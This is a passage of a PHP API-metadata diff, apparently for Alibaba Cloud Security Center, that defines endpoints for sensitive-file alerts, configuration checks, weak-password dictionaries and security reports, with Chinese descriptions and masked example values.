'string', + 'required' => false, + 'example' => 'trail_honeypot_reward', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '94004FDB-27EC-5666-83D4-D0C5C624****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"94004FDB-27EC-5666-83D4-D0C5C624****\\"\\n}","type":"json"}]', + 'title' => '开启云蜜罐或恶意文件检测SDK试用', + ], + 'DescribeAgentlessSensitiveFileByKey' => [ + 'summary' => '获取无代理检测功能检测出的含有某一敏感文件类型的资产列表。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '225179', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'SensitiveFileKey', + 'in' => 'query', + 'schema' => [ + 'description' => '敏感文件类型。', + 'type' => 'string', + 'required' => false, + 'docRequired' => true, + 'example' => 'sshpasswd', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '基线风险的修复状态。取值：'."\n" + .'- **0**：未修复'."\n" + .'- **1**：已修复', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产实例ID，可通过任务管理 - 详情 - 检测对象获取。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1fu4aqltf1huhc****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产名称或IP。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '50', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '扫描范围集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个扫描范围。取值：'."\n" + ."\n" + .'- **agentless_image**：主机镜像。'."\n" + .'- **agentless_snapshot**：主机快照。'."\n" + .'- **ecs_image**：自定义镜像。'."\n" + .'- **ecs_snapshot**：用户快照。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless_image', + ], + 'required' => false, + ], + ], + [ + 'name' => 'ImageUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定扫描资产的UUID，可通过主机资产和云产品页面获取。主机安全检测场景下，该参数为扫描主机的UUID。快照安全检测和自定义镜像安全检测场景下，该参数为扫描镜像/快照的ID。', + 'type' => 'string', + 'required' => false, + 'example' => '06293273b67d19516cfcc712194f****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的统计信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'SensitiveFileList' => [ + 'description' => '无代理检测敏感文件信息。', + 'type' => 'array', + 'items' => [ + 'description' => '无代理检测敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'SensitiveFileKey' => [ + 'description' => '敏感文件类型。', + 'type' => 'string', + 'example' => 'pem', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'high', + ], + 'InternetIp' => [ + 'description' => '无代理检测资产的公网IP地址。', + 'type' => 'string', + 'example' => '95.214.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '无代理检测资产的私网IP地址。', + 'type' => 'string', + 'example' => '10.68.XX.XX', + ], + 'Uuid' => [ + 'description' => '无代理检测资产的UUID。', + 'type' => 'string', + 'example' => '73e6a851-e63b-49ef-9d7a-5542d765****', + ], + 'TargetName' => [ + 'description' => '无代理检测扫描对象名称。', + 'type' => 'string', + 'example' => 'SAS_Agentless_171869952****', + ], + 'Status' => [ + 'description' => '敏感文件状态。取值：'."\n" + .'- **0**：未处理。'."\n" + .'- **1**：忽略。'."\n" + .'- **2**：误报。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceName' => [ + 'description' => '无代理检测资产的实例名称。', + 'type' => 'string', + 'example' => 'test-server', + ], + 'FirstScanTime' => [ + 'description' => '首次扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663321552000', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1663691592000', + ], + 'Md5' => [ + 'description' => '敏感文件的md5。', + 'type' => 'string', + 'example' => 'b484b0dff093f358897486b58266****', + ], + 'FilePath' => [ + 'description' => '敏感文件路径。', + 'type' => 'string', + 'example' => '/usr/lib/abc.txt', + ], + 'Prompt' => [ + 'description' => '敏感文件内容。', + 'type' => 'string', + 'example' => 'mysql -u -p****', + ], + 'Id' => [ + 'description' => '敏感文件告警ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '423505573', + ], + ], + ], + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"SensitiveFileList\\": [\\n {\\n \\"SensitiveFileKey\\": \\"pem\\",\\n \\"RiskLevel\\": \\"high\\",\\n \\"InternetIp\\": \\"95.214.XX.XX\\",\\n \\"IntranetIp\\": \\"10.68.XX.XX\\",\\n \\"Uuid\\": \\"73e6a851-e63b-49ef-9d7a-5542d765****\\",\\n \\"TargetName\\": \\"SAS_Agentless_171869952****\\",\\n \\"Status\\": 0,\\n \\"InstanceName\\": \\"test-server\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663691592000,\\n \\"Md5\\": \\"b484b0dff093f358897486b58266****\\",\\n \\"FilePath\\": \\"/usr/lib/abc.txt\\",\\n \\"Prompt\\": \\"mysql -u -p****\\",\\n \\"Id\\": 423505573\\n }\\n ],\\n \\"Success\\": true\\n}","type":"json"}]', + 'title' => '获取某一类型的敏感文件告警列表', + 'description' => '仅支持开通云安全中心无代理检测按量付费的阿里云账号调用该接口。', + ], + 'GetCheckStructure' => [ + 'summary' => '查询检查项列表目录结构。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产所在地域。取值为：'."\n" + ."\n" + .'- cn-hangzhou： 中国'."\n" + .'- ap-southeast-1： 全球（不含中国）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值为：'."\n" + ."\n" + .'- **YAO_CHI**： 瑶池。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'LGetCheckStructureResponse', + 'description' => 'LGetCheckStructureResponse', + 'type' => 'object', + 'properties' => [ + 'CheckStructureResponse' => [ + 'description' => '云平台配置检查项结构信息', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'StandardType' => [ + 'description' => '云平台配置检查项业务类型。'."\n" + ."\n" + .'- RISK：安全风险'."\n" + ."\n" + .'- IDENTITY_PERMISSION：身份权限管理CIEM'."\n" + ."\n" + .'- COMPLIANCE：安全合规', + 'type' => 'string', + 'example' => 'RISK', + ], + 'Standards' => [ + 'description' => '云平台配置检查项业务类型下检查项结构信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Requirements' => [ + 'description' => '云平台配置检查项标准。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '云产品配置检查项检条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '46', + ], + 'ShowName' => [ + 'description' => '云平台配置检查项条例名称。', + 'type' => 'string', + 'example' => 'Networking', + ], + 'TotalCheckCount' => [ + 'description' => '云平台配置检查项条例下检查项总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '36', + ], + 'Sections' => [ + 'description' => '检查项章节。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项章节ID。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '检查项章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '177', + ], + 'ShowName' => [ + 'description' => '检查项章节名称。', + 'type' => 'string', + 'example' => 'Access Control', + ], + ], + ], + ], + ], + ], + ], + 'Id' => [ + 'description' => '云平台配置检查项标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8', + ], + 'Type' => [ + 'description' => '云平台配置检查项标准对应的业务类型：'."\n" + .'- RISK：安全风险'."\n" + ."\n" + .'- IDENTITY_PERMISSION：身份权限管理CIEM'."\n" + ."\n" + .'- COMPLIANCE：安全合规', + 'type' => 'string', + 'example' => 'IDENTITY_PERMISSION', + ], + 'ShowName' => [ + 'description' => '云平台配置检查项标准名称。', + 'type' => 'string', + 'example' => 'Alibaba Cloud best security practices', + ], + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckStructureResponse\\": [\\n {\\n \\"StandardType\\": \\"RISK\\",\\n \\"Standards\\": [\\n {\\n \\"Requirements\\": [\\n {\\n \\"Id\\": 46,\\n \\"ShowName\\": \\"Networking\\",\\n \\"TotalCheckCount\\": 36,\\n \\"Sections\\": [\\n {\\n \\"Id\\": 177,\\n \\"ShowName\\": \\"Access Control\\"\\n }\\n ]\\n }\\n ],\\n \\"Id\\": 8,\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"ShowName\\": \\"Alibaba Cloud best security practices\\"\\n }\\n ]\\n }\\n ],\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\"\\n}","type":"json"}]', + 'title' => '获取云平台配置检查项结构信息', + 'description' => '云平台配置检查功能需要购买才能使用。', + ], + 'DescribeDynamicDictUploadInfo' => [ + 'summary' => '查看基线检查用户自定义动态弱口令的上传OSS具体信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.103.XX.XX'."\n", + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Key' => [ + 'description' => 'OSS文件名称Key。', + 'type' => 'string', + 'example' => 'DegradePool_Offset_****', + ], + 'Signature' => [ + 'description' => '根据**AccessKeySecret**和**Policy**计算出的签名信息。调用OSS API时，OSS验证该签名信息，从而确认Post请求的合法性。', + 'type' => 'string', + 'example' => 'wBiwkhd5LGcLzijtc3FhI****', + ], + 'Host' => [ + 'description' => 'OSS域名。', + 'type' => 'string', + 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61***', + ], + 'Policy' => [ + 'description' => 'OSS安全策略。', + 'type' => 'string', + 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTozMTozMy40MjlaIiwiY29uZGl0aW9********', + ], + 'Accessid' => [ + 'description' => 'OSS的AccessKey ID。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'Expire' => [ + 'description' => 'OSS授权失效时间，时间戳格式。', + 'type' => 'string', + 'example' => '1719919893', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::DescribeCustomizedDictUploadInfo', + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Key\\": \\"DegradePool_Offset_****\\",\\n \\"Signature\\": \\"wBiwkhd5LGcLzijtc3FhI****\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61***\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTozMTozMy40MjlaIiwiY29uZGl0aW9********\\",\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Expire\\": \\"1719919893\\"\\n}","type":"json"}]', + 'title' => '查看动态弱口令的上传OSS具体信息', + ], + 'DeleteCustomizeReport' => [ + 'summary' => '删除指定的自定义安全报告。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91955', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + .'>调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '90593A3B-85CE-5D87-A430-726D0B87****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"90593A3B-85CE-5D87-A430-726D0B87****\\"\\n}","type":"json"}]', + 'title' => '删除自定义安全报告', + ], + 'DescribeCustomizeReportConfigDetail' => [ + 'summary' => '获取报告发送配置明细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '202.104.XXX.XXX', + ], + ], + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。\\'."\n" + .'调用[DescribeCustomizeReportList](~~271655~~)接口返回参数中的ReportId。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '619031', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ReportStatus' => [ + 'description' => '报告状态。取值：'."\n" + .' - **0**：关闭。'."\n" + .' - **1**：开启。', + 'type' => 'string', + 'example' => '1', + ], + 'ReportLang' => [ + 'description' => '语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'example' => 'zh', + ], + 'ChartIds' => [ + 'description' => '报告图表配置ID，多项用逗号分隔。', + 'type' => 'string', + 'example' => 'BIZ_STAT_QUERY_KEY_ATTACK,CUSTOM_VUL_CVE_LIST,CUSTOM_VUL_SYS_LIST,CUSTOM_VUL_WEBCMS_LIST,CUSTOM_AUTO_BREAKING_PIE,CUSTOM_AK_LEAK_LIST,KEY_HP_TAMPERPROOF,KEY_HP_DEFENCE', + ], + 'IsDefault' => [ + 'description' => '是否为默认报告。取值：'."\n" + .'- **0**：非默认报告。'."\n" + .'- **1**：默认报告。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SendTime' => [ + 'description' => '发送时间，格式：HH:mm:ss。', + 'type' => 'string', + 'example' => '09:00:00', + ], + 'ReportId' => [ + 'description' => '报告ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '663434', + ], + 'ReportType' => [ + 'description' => '报告类型。取值：'."\n" + ."\n" + .'- **0**：日报。'."\n" + .'- **1**：周报。'."\n" + .'- **2**：月报。'."\n" + .'- **3**：自定义周期。', + 'type' => 'string', + 'example' => '3', + ], + 'Recipients' => [ + 'description' => '联系人邮箱，多个用英文逗号分割。', + 'type' => 'string', + 'example' => 'PengZheng@eaton.com,ZhongJi@Eaton.com', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', + ], + 'ReportSendType' => [ + 'description' => '报告发送类型，取值：'."\n" + .'- **1**：0-6点。'."\n" + .'- **2**：6-12点。'."\n" + .'- **3**：12-18点。'."\n" + .'- **4**：18-24点。', + 'type' => 'string', + 'example' => '2', + ], + 'ReportEndDate' => [ + 'description' => '报告发送结束日期。', + 'type' => 'string', + 'example' => '1720022399999', + ], + 'ReportStartDate' => [ + 'description' => '报告发送开始日期。', + 'type' => 'string', + 'example' => '1717430400000', + ], + 'Title' => [ + 'description' => '标题。', + 'type' => 'string', + 'example' => 'marketing report', + ], + 'SendStartTime' => [ + 'description' => '发送开始时间，格式：HH:mm:ss。', + 'type' => 'string', + 'example' => '09:00:00', + ], + 'SendEndTime' => [ + 'description' => '发送结束时间，格式：HH:mm:ss。', + 'type' => 'string', + 'example' => '10:00:00', + ], + 'PinnedTime' => [ + 'description' => '置顶时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1717430400000', + ], + 'ReportDays' => [ + 'description' => '报告统计的最近天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'SendPeriodType' => [ + 'description' => '发送周期类型，取值：'."\n" + .'- **DAY**：天。'."\n" + .'- **WEEK**：周。'."\n" + .'- **MONTH**：月。', + 'type' => 'string', + 'example' => 'MONTH', + ], + 'SendPeriodDays' => [ + 'description' => '发送周期内具体执行日期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'TargetUids' => [ + 'description' => '目标uid列表，多项用逗号分隔。', + 'type' => 'string', + 'example' => '1457515594445744,1600011353839072,1766185894104675,1674080148055995,1627510829033157', + ], + 'GroupType' => [ + 'description' => '分组类型，取值：'."\n" + .'- **ALIYUN_RG**：ALIYUN_RG。'."\n" + .'- **SAS_GROUP**：SAS_GROUP。', + 'type' => 'string', + 'example' => 'SAS_GROUP', + ], + 'TargetGroups' => [ + 'description' => '分组内的目标。', + 'type' => 'string', + 'example' => '12125884,12140191', + ], + 'MemberAccountSyncFlag' => [ + 'description' => '新增账号默认是否接入。取值：'."\n" + ."\n" + .'- **true**：是。'."\n" + .'- **false**：否。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ReportStatus\\": \\"1\\",\\n \\"ReportLang\\": \\"zh\\",\\n \\"ChartIds\\": \\"BIZ_STAT_QUERY_KEY_ATTACK,CUSTOM_VUL_CVE_LIST,CUSTOM_VUL_SYS_LIST,CUSTOM_VUL_WEBCMS_LIST,CUSTOM_AUTO_BREAKING_PIE,CUSTOM_AK_LEAK_LIST,KEY_HP_TAMPERPROOF,KEY_HP_DEFENCE\\",\\n \\"IsDefault\\": 1,\\n \\"SendTime\\": \\"09:00:00\\",\\n \\"ReportId\\": 663434,\\n \\"ReportType\\": \\"3\\",\\n \\"Recipients\\": \\"PengZheng@eaton.com,ZhongJi@Eaton.com\\",\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\",\\n \\"ReportSendType\\": \\"2\\",\\n \\"ReportEndDate\\": \\"1720022399999\\",\\n \\"ReportStartDate\\": \\"1717430400000\\",\\n \\"Title\\": \\"marketing report\\",\\n \\"SendStartTime\\": \\"09:00:00\\",\\n \\"SendEndTime\\": \\"10:00:00\\",\\n \\"PinnedTime\\": 1717430400000,\\n \\"ReportDays\\": 30,\\n \\"SendPeriodType\\": \\"MONTH\\",\\n \\"SendPeriodDays\\": 12,\\n \\"TargetUids\\": \\"1457515594445744,1600011353839072,1766185894104675,1674080148055995,1627510829033157\\",\\n \\"GroupType\\": \\"SAS_GROUP\\",\\n \\"TargetGroups\\": \\"12125884,12140191\\",\\n \\"MemberAccountSyncFlag\\": true\\n}","type":"json"}]', + 'title' => '获取报告发送配置明细信息', + ], + 'DescribeDynamicDict' => [ + 'summary' => '查看基线检查用户自定义动态弱口令规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '101.204.XX.XX'."\n", + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'OssUrl' => [ + 'description' => 'OSS对象地址。', + 'type' => 'string', + 'example' => 'cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + 'Limit' => [ + 'description' => '添加弱口令规则数量上限。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'Count' => [ + 'description' => '当前已添加弱口令规则数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'FileName' => [ + 'description' => '弱口令OSS文件名称。', + 'type' => 'string', + 'example' => 'test_dict.plain', + ], + 'UploadTime' => [ + 'description' => '上传时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1719919421', + ], + 'FileSize' => [ + 'description' => '文件大小，单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '40', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::DescribeCustomizedDict', + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"OssUrl\\": \\"cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"Limit\\": 9,\\n \\"Count\\": 1,\\n \\"FileName\\": \\"test_dict.plain\\",\\n \\"UploadTime\\": 1719919421,\\n \\"FileSize\\": 40\\n}","type":"json"}]', + 'title' => '查看动态弱口令', + ], + 'DescribeIdcProbeScanResultList' => [ + 'summary' => '获取通过IDC资产探针发现的资产列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => 